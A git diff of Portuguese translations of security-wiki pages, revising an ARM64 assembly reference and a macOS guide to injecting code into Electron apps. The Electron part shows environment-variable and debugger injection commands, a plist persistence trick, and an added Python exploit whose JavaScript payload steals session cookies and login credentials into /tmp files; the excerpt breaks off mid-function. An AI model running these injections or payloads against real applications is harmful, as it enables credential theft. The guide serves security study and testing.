-- As flags de seleção do ponteiro de pilha (**`SPS`**): Programas privilegiados executando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
+- Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
+- As flags de seleção do ponteiro de pilha (**`SPS`**): Programas privilegiados rodando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
 
 ## **Convenção de Chamada (ARM64v8)**
 
-A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados em registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for longo de 128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
+A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados em registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for 128 bits longo**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
 
-Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
+Ao ler uma função em assembly, procure pelo **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
 
 ### Convenção de Chamada em Swift
 
@@ -128,14 +128,14 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
 - Xn1 -> Destino
 - Xn2 -> Operando 1
 - Xn3 | #imm -> Operando 2 (registrador ou imediato)
-- \[shift #N | RRX] -> Realizar um deslocamento ou chamar RRX.
-- Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` e armazena o resultado em `x0`.
+- \[shift #N | RRX] -> Realizar um deslocamento ou chamar RRX
+- Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` juntos e armazena o resultado em `x0`.
 - `add x5, x5, #1, lsl #12` — Isso é igual a 4096 (um 1 deslocado 12 vezes) -> 1 0000 0000 0000 0000.
 - **`adds`** Isso realiza um `add` e atualiza as flags.
 - **`sub`**: **Subtrair** os valores de dois registradores e armazenar o resultado em um registrador.
-- Verifique a **sintaxe de `add`**.
+- Verifique a **`sintaxe`** de **`add`**.
 - Exemplo: `sub x0, x1, x2` — Isso subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`.
-- **`subs`** Isso é como sub, mas atualizando a flag.
+- **`subs`** Isso é como sub, mas atualiza a flag.
 - **`mul`**: **Multiplicar** os valores de **dois registradores** e armazenar o resultado em um registrador.
 - Exemplo: `mul x0, x1, x2` — Isso multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`.
 - **`div`**: **Dividir** o valor de um registrador por outro e armazenar o resultado em um registrador.
@@ -145,17 +145,17 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
 - **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide por n vezes 2 em não assinado).
 - **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s, se o bit mais significativo for 1, **1s são adicionados** (divide por n vezes 2 em assinado).
 - **Rotacionar à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda.
-- **Rotacionar à direita com extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
-- **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotação à direita**.
+- **Rotacionar à Direita com Extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
+- **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam nas posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotação à direita**.
 - Movimento de campo de bits: `BFM Xd, Xn, #r`.
 - Movimento de campo de bits assinado: `SBFM Xd, Xn, #r, #s`.
 - Movimento de campo de bits não assinado: `UBFM Xd, Xn, #r, #s`.
 - **Extração e Inserção de Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador.
 - **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do 3º bit de X1.
 - **`BFXIL X1, X2, #3, #4`** Extrai do 3º bit de X2 quatro bits e os copia para X1.
-- **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 começando na posição do bit 3, zerando os bits à direita.
+- **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
 - **`SBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2, estende o sinal e coloca o resultado em X1.
-- **`UBFIZ X1, X2, #3, #4`** Estende 4 bits de X2 e os insere em X1 começando na posição do bit 3, zerando os bits à direita.
+- **`UBFIZ X1, X2, #3, #4`** Estende 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
 - **`UBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2 e coloca o resultado estendido a zero em X1.
 - **Extensão de Sinal para X:** Estende o sinal (ou adiciona apenas 0s na versão não assinada) de um valor para poder realizar operações com ele:
 - **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits.
@@ -185,18 +185,18 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
 - Exemplo: `blr x1` — Isso chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`.
 - **`ret`**: **Retornar** da **sub-rotina**, tipicamente usando o endereço em **`x30`**.
 - Exemplo: `ret` — Isso retorna da sub-rotina atual usando o endereço de retorno em `x30`.
-- **`b.<cond>`**: Branchs condicionais.
-- **`b.eq`**: **Branch se igual**, com base na instrução `cmp` anterior.
+- **`b.<cond>`**: Branches condicionais.
+- **`b.eq`**: **Branch se igual**, baseado na instrução `cmp` anterior.
 - Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`.
-- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não forem iguais, ela faz um branch para um rótulo ou endereço.
-- Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1 não forem iguais, isso salta para `label`.
-- **`cbz`**: **Comparar e Branch em Zero**. Esta instrução compara um registrador com zero, e se forem iguais, faz um branch para um rótulo ou endereço.
-- Exemplo: `cbz x0, label` — Se o valor em `x0` for zero, isso salta para `label`.
-- **`cbnz`**: **Comparar e Branch em Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, faz um branch para um rótulo ou endereço.
-- Exemplo: `cbnz x0, label` — Se o valor em `x0` for não zero, isso salta para `label`.
-- **`tbnz`**: Testa o bit e faz branch em não zero.
+- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não foram iguais, ela salta para um rótulo ou endereço.
+- Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1 não foram iguais, isso salta para `label`.
+- **`cbz`**: **Comparar e Branch se Zero**. Esta instrução compara um registrador com zero, e se forem iguais, salta para um rótulo ou endereço.
+- Exemplo: `cbz x0, label` — Se o valor em `x0` é zero, isso salta para `label`.
+- **`cbnz`**: **Comparar e Branch se Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, salta para um rótulo ou endereço.
+- Exemplo: `cbnz x0, label` — Se o valor em `x0` não é zero, isso salta para `label`.
+- **`tbnz`**: Testa o bit e salta se não zero.
 - Exemplo: `tbnz x0, #8, label`.
-- **`tbz`**: Testa o bit e faz branch em zero.
+- **`tbz`**: Testa o bit e salta se zero.
 - Exemplo: `tbz x0, #8, label`.
 - **Operações de seleção condicional**: Estas são operações cujo comportamento varia dependendo dos bits condicionais.
 - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2.
@@ -210,7 +210,7 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
 - `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \<todos 1>, se falso, Xd = 0.
 - **`adrp`**: Computa o **endereço da página de um símbolo** e o armazena em um registrador.
 - Exemplo: `adrp x0, symbol` — Isso computa o endereço da página de `symbol` e o armazena em `x0`.
-- **`ldrsw`**: **Carregar** um valor **32-bit** assinado da memória e **estendê-lo para 64** bits.
+- **`ldrsw`**: **Carregar** um valor **32 bits** assinado da memória e **estendê-lo para 64** bits.
 - Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende-o para 64 bits e o armazena em `x0`.
 - **`stur`**: **Armazenar um valor de registrador em uma localização de memória**, usando um deslocamento de outro registrador.
 - Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que é 4 bytes maior do que o endereço atualmente em `x1`.
@@ -219,9 +219,9 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
 - Exemplo:
 
 ```armasm
-mov x8, 93  ; Carregar o número da chamada de sistema para sair (93) no registrador x8.
-mov x0, 0   ; Carregar o código de status de saída (0) no registrador x0.
-svc 0       ; Fazer a chamada de sistema.
+mov x8, 93  ; Carrega o número da chamada de sistema para sair (93) no registrador x8.
+mov x0, 0   ; Carrega o código de status de saída (0) no registrador x0.
+svc 0       ; Faz a chamada de sistema.
 ```
 
 ### **Prólogo da Função**
@@ -244,9 +244,9 @@ ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment th
 
 ## Estado de Execução AARCH32
 
-Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode operar em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
-Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o de 32 bits de menor privilégio.\
-Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **CPSR** dos programas **`AArch32`**. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\*
+Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode rodar em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
+Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o nível de privilégio inferior de 32 bits.\
+Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 de** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **CPSR** dos programas **`AArch32`**. Então, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.**
 
 O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\
 Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registrador de destino. Exemplo:
@@ -272,8 +272,8 @@ Existem 16 registradores de 32 bits (r0-r15). **De r0 a r14** eles podem ser usa
 - **`r13`**: Ponteiro de pilha
 - **`r14`**: Registrador de link
 
-Além disso, os registradores são salvos em **`registros bancados`**. Que são lugares que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar registradores manualmente toda vez.\
-Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador ao qual a exceção é direcionada. No retorno da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
+Além disso, os registradores são salvos em **`registries bancados`**. Que são lugares que armazenam os valores dos registradores permitindo realizar **mudanças de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\
+Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador ao qual a exceção é gerada. Ao retornar da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
 
 ### CPSR - Registrador de Status do Programa Atual
 
@@ -289,10 +289,10 @@ Os campos são divididos em alguns grupos:
 #### Registrador de Status do Programa de Aplicação (APSR)
 
 - As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como em AArch64)
-- A flag **`Q`**: É definida como 1 sempre que **ocorre saturação inteira** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, manterá o valor até que seja manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
+- A flag **`Q`**: É definida como 1 sempre que **ocorre saturação inteira** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, manterá o valor até ser manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, isso deve ser feito lendo-o manualmente.
 - Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Single Instruction, Multiple Data), como "adição paralela" e "subtração paralela". Essas operações permitem processar múltiplos pontos de dados em uma única instrução.
 
-Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de byte, indicando se a adição para aquele par de bytes **transbordou**.
+Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de bytes, indicando se a adição para aquele par de bytes **transbordou**.
 
 A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
 
@@ -301,7 +301,7 @@ A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
 - Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado, e se for 1, o T32 é usado.
 - **Registrador de Estado do Bloco IT** (`ITSTATE`): Esses são os bits de 10-15 e 25-26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
 - Bit **`E`**: Indica a **endianness**.
-- Bits de Máscara de Modo e Exceção (0-4): Eles determinam o estado de execução atual. O **5º** indica se o programa está sendo executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando uma exceção ocorre e está sendo tratada). O número definido **indica a prioridade atual** caso outra exceção seja acionada enquanto esta está sendo tratada.
+- Bits de Modo e Máscara de Exceção (0-4): Eles determinam o estado de execução atual. O **5º** indica se o programa está sendo executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando uma exceção ocorre e está sendo tratada). O número definido **indica a prioridade atual** caso outra exceção seja acionada enquanto esta está sendo tratada.
 
 <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
 
@@ -311,11 +311,11 @@ A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
 
 ### Chamadas de sistema BSD
 
-Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). As chamadas de sistema BSD terão **x16 > 0**.
+Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Chamadas de sistema BSD terão **x16 > 0**.
 
 ### Armadilhas Mach
 
-Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
+Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. Armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
 
 Você também pode verificar **`libsystem_kernel.dylib`** em um desassemblador para encontrar como chamar essas (e BSD) chamadas de sistema:
 ```bash
@@ -332,17 +332,17 @@ Note que **Ida** e **Ghidra** também podem descompilar **dylibs específicas**
 
 ### chamadas machdep
 
-XNU suporta outro tipo de chamadas chamadas dependentes de máquina. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos para permanecer constantes.
+XNU suporta outro tipo de chamadas chamadas dependentes da máquina. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos para permanecer constantes.
 
 ### página comm
 
-Esta é uma página de memória de propriedade do kernel que está mapeada no espaço de endereços de cada processo de usuário. É destinada a tornar a transição do modo usuário para o espaço do kernel mais rápida do que usar syscalls para serviços do kernel que são usados tanto que essa transição seria muito ineficiente.
+Esta é uma página de memória de proprietário do kernel que está mapeada no espaço de endereços de cada processo de usuário. É destinada a tornar a transição do modo usuário para o espaço do kernel mais rápida do que usar syscalls para serviços do kernel que são usados tanto que essa transição seria muito ineficiente.
 
 Por exemplo, a chamada `gettimeofdate` lê o valor de `timeval` diretamente da página comm.
 
 ### objc_msgSend
 
-É super comum encontrar esta função usada em programas Objective-C ou Swift. Esta função permite chamar um método de um objeto Objective-C.
+É super comum encontrar essa função usada em programas Objective-C ou Swift. Essa função permite chamar um método de um objeto Objective-C.
 
 Parâmetros ([mais informações na documentação](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
 
@@ -350,7 +350,7 @@ Parâmetros ([mais informações na documentação](https://developer.apple.com/
 - x1: op -> Seletor do método
 - x2... -> Restante dos argumentos do método invocado
 
-Então, se você colocar um breakpoint antes da ramificação para esta função, pode facilmente encontrar o que está sendo invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que irá executar um comando):
+Então, se você colocar um breakpoint antes da ramificação para essa função, pode facilmente encontrar o que está sendo invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que irá executar um comando):
 ```bash
 # Right in the line were objc_msgSend will be called
 (lldb) po $x0
@@ -371,15 +371,15 @@ whoami
 > [!TIP]
 > Definindo a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível registrar quando essa função é chamada em um arquivo como `/tmp/msgSends-pid`.
 >
-> Além disso, definindo **`OBJC_HELP=1`** e chamando qualquer binário, você pode ver outras variáveis de ambiente que poderia usar para **logar** quando certas ações Objc-C ocorrem.
+> Além disso, definindo **`OBJC_HELP=1`** e chamando qualquer binário, você pode ver outras variáveis de ambiente que poderia usar para **logar** quando certas ações do Objc-C ocorrem.
 
 Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada, para isso, diferentes buscas são feitas:
 
 - Realizar busca otimista no cache:
 - Se bem-sucedido, feito
 - Adquirir runtimeLock (leitura)
-- Se (realizar && !cls->realized) realizar classe
-- Se (inicializar && !cls->initialized) inicializar classe
+- Se (realize && !cls->realized) realizar classe
+- Se (initialize && !cls->initialized) inicializar classe
 - Tentar cache próprio da classe:
 - Se bem-sucedido, feito
 - Tentar lista de métodos da classe:
@@ -388,8 +388,8 @@ Quando essa função é chamada, é necessário encontrar o método chamado da i
 - Se bem-sucedido, feito
 - Tentar lista de métodos da superclasse:
 - Se encontrado, preencher cache e feito
-- Se (resolver) tentar resolvedor de métodos e repetir a busca da classe
-- Se ainda aqui (= tudo o mais falhou) tentar encaminhador
+- Se (resolver) tentar resolvedor de método e repetir a busca da classe
+- Se ainda aqui (= tudo mais falhou) tentar forwarder
 
 ### Shellcodes
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

@@ -2,26 +2,26 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Informações Básicas
+## Basic Information
 
 Se você não sabe o que é Electron, pode encontrar [**muitas informações aqui**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Mas por enquanto, saiba apenas que o Electron executa **node**.\
 E o node tem alguns **parâmetros** e **variáveis de ambiente** que podem ser usados para **fazer com que ele execute outro código** além do arquivo indicado.
 
-### Fuses do Electron
+### Electron Fuses
 
-Essas técnicas serão discutidas a seguir, mas nos últimos tempos o Electron adicionou várias **flags de segurança para preveni-las**. Essas são as [**Fuses do Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e são usadas para **prevenir** que aplicativos Electron no macOS **carreguem código arbitrário**:
+Essas técnicas serão discutidas a seguir, mas recentemente o Electron adicionou várias **flags de segurança para preveni-las**. Essas são as [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) e estas são as usadas para **prevenir** que aplicativos Electron no macOS **carreguem código arbitrário**:
 
 - **`RunAsNode`**: Se desativado, impede o uso da variável de ambiente **`ELECTRON_RUN_AS_NODE`** para injetar código.
 - **`EnableNodeCliInspectArguments`**: Se desativado, parâmetros como `--inspect`, `--inspect-brk` não serão respeitados. Evitando assim a injeção de código.
-- **`EnableEmbeddedAsarIntegrityValidation`**: Se ativado, o **`arquivo asar`** carregado será **validado** pelo macOS. **Prevenindo** assim a **injeção de código** ao modificar o conteúdo deste arquivo.
+- **`EnableEmbeddedAsarIntegrityValidation`**: Se ativado, o **arquivo** **`asar`** carregado será **validado** pelo macOS. **Prevenindo** assim a **injeção de código** ao modificar o conteúdo deste arquivo.
 - **`OnlyLoadAppFromAsar`**: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: **`app.asar`**, **`app`** e finalmente **`default_app.asar`**. Ele apenas verificará e usará app.asar, garantindo assim que, quando **combinado** com a fuse **`embeddedAsarIntegrityValidation`**, é **impossível** **carregar código não validado**.
 - **`LoadBrowserProcessSpecificV8Snapshot`**: Se ativado, o processo do navegador usa o arquivo chamado `browser_v8_context_snapshot.bin` para seu snapshot V8.
 
-Outra fuse interessante que não impedirá a injeção de código é:
+Outra fuse interessante que não estará prevenindo a injeção de código é:
 
 - **EnableCookieEncryption**: Se ativado, o armazenamento de cookies no disco é criptografado usando chaves de criptografia em nível de SO.
 
-### Verificando as Fuses do Electron
+### Checking Electron Fuses
 
 Você pode **verificar essas flags** de um aplicativo com:
 ```bash
@@ -50,7 +50,7 @@ Você pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e pro
 
 <figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
 
-Note que se você tentar **sobrescrever** o **binário do `Electron Framework`** dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.
+Note que se você tentar **sobrescrever** o **`Electron Framework` binary** dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.
 
 ## RCE adicionando código a Aplicações Electron
 
@@ -70,11 +70,11 @@ Você pode descompactar o código do arquivo asar com:
 ```bash
 npx asar extract app.asar app-decomp
 ```
-Desculpe, não posso ajudar com isso.
+E empacote-o novamente após tê-lo modificado com:
 ```bash
 npx asar pack app-decomp app-new.asar
 ```
-## RCE com `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
+## RCE com ELECTRON_RUN_AS_NODE
 
 De acordo com [**a documentação**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), se essa variável de ambiente estiver definida, ela iniciará o processo como um processo normal do Node.js.
 ```bash
@@ -88,7 +88,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
 
 ### Injeção do Plist do App
 
-Como [**proposto aqui**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), você poderia abusar dessa variável de ambiente em um plist para manter a persistência:
+Como [**proposto aqui**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), você pode abusar dessa variável de ambiente em um plist para manter a persistência:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
 NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
 ```
 > [!CAUTION]
-> Se o fuse **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignorar**á a variável de ambiente **NODE_OPTIONS** ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
+> Se o fuse **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignora** a variável de ambiente **NODE_OPTIONS** ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
 >
 > Se você não definir **`ELECTRON_RUN_AS_NODE`**, você encontrará o **erro**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
 
@@ -154,8 +154,216 @@ Por exemplo:
 # Connect to it using chrome://inspect and execute a calculator with:
 require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
 ```
+Em [**este post do blog**](https://hackerone.com/reports/1274695), esse debug é abusado para fazer um chrome headless **baixar arquivos arbitrários em locais arbitrários**.
+
+> [!TIP]
+> Se um aplicativo tem sua própria maneira de verificar se variáveis de ambiente ou parâmetros como `--inspect` estão definidos, você pode tentar **bypassar** isso em tempo de execução usando o argumento `--inspect-brk`, que irá **parar a execução** no início do aplicativo e executar um bypass (sobrescrevendo os argumentos ou as variáveis de ambiente do processo atual, por exemplo).
+
+O seguinte foi um exploit que, monitorando e executando o aplicativo com o parâmetro `--inspect-brk`, foi possível contornar a proteção personalizada que ele tinha (sobrescrevendo os parâmetros do processo para remover `--inspect-brk`) e, em seguida, injetar um payload JS para despejar cookies e credenciais do aplicativo:
+```python
+import asyncio
+import websockets
+import json
+import requests
+import os
+import psutil
+from time import sleep
+
+INSPECT_URL = None
+CONT = 0
+CONTEXT_ID = None
+NAME = None
+UNIQUE_ID = None
+
+JS_PAYLOADS = """
+var { webContents } = require('electron');
+var fs = require('fs');
+
+var wc = webContents.getAllWebContents()[0]
+
+
+function writeToFile(filePath, content) {
+const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
+
+fs.writeFile(filePath, data, (err) => {
+if (err) {
+console.error(`Error writing to file ${filePath}:`, err);
+} else {
+console.log(`File written successfully at ${filePath}`);
+}
+});
+}
+
+function get_cookies() {
+intervalIdCookies = setInterval(() => {
+console.log("Checking cookies...");
+wc.session.cookies.get({})
+.then((cookies) => {
+tokenCookie = cookies.find(cookie => cookie.name === "token");
+if (tokenCookie){
+writeToFile("/tmp/cookies.txt", cookies);
+clearInterval(intervalIdCookies);
+wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
+}
+})
+}, 1000);
+}
+
+function get_creds() {
+in_location = false;
+intervalIdCreds = setInterval(() => {
+if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
+in_location = true;
+console.log("Injecting creds logger...");
+wc.executeJavaScript(`
+(function() {
+email = document.getElementById('login_email_id');
+password = document.getElementById('login_password_id');
+if (password && email) {
+return email.value+":"+password.value;
+}
+})();
+`).then(result => {
+writeToFile("/tmp/victim_credentials.txt", result);
+})
+}
+else if (in_location) {
+wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
+clearInterval(intervalIdCreds);
+}
+}, 10); // Check every 10ms
+setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
+}
+
+get_cookies();
+get_creds();
+console.log("Payloads injected");
+"""
+
+async def get_debugger_url():
+"""
+Fetch the local inspector's WebSocket URL from the JSON endpoint.
+Assumes there's exactly one debug target.
+"""
+global INSPECT_URL
+
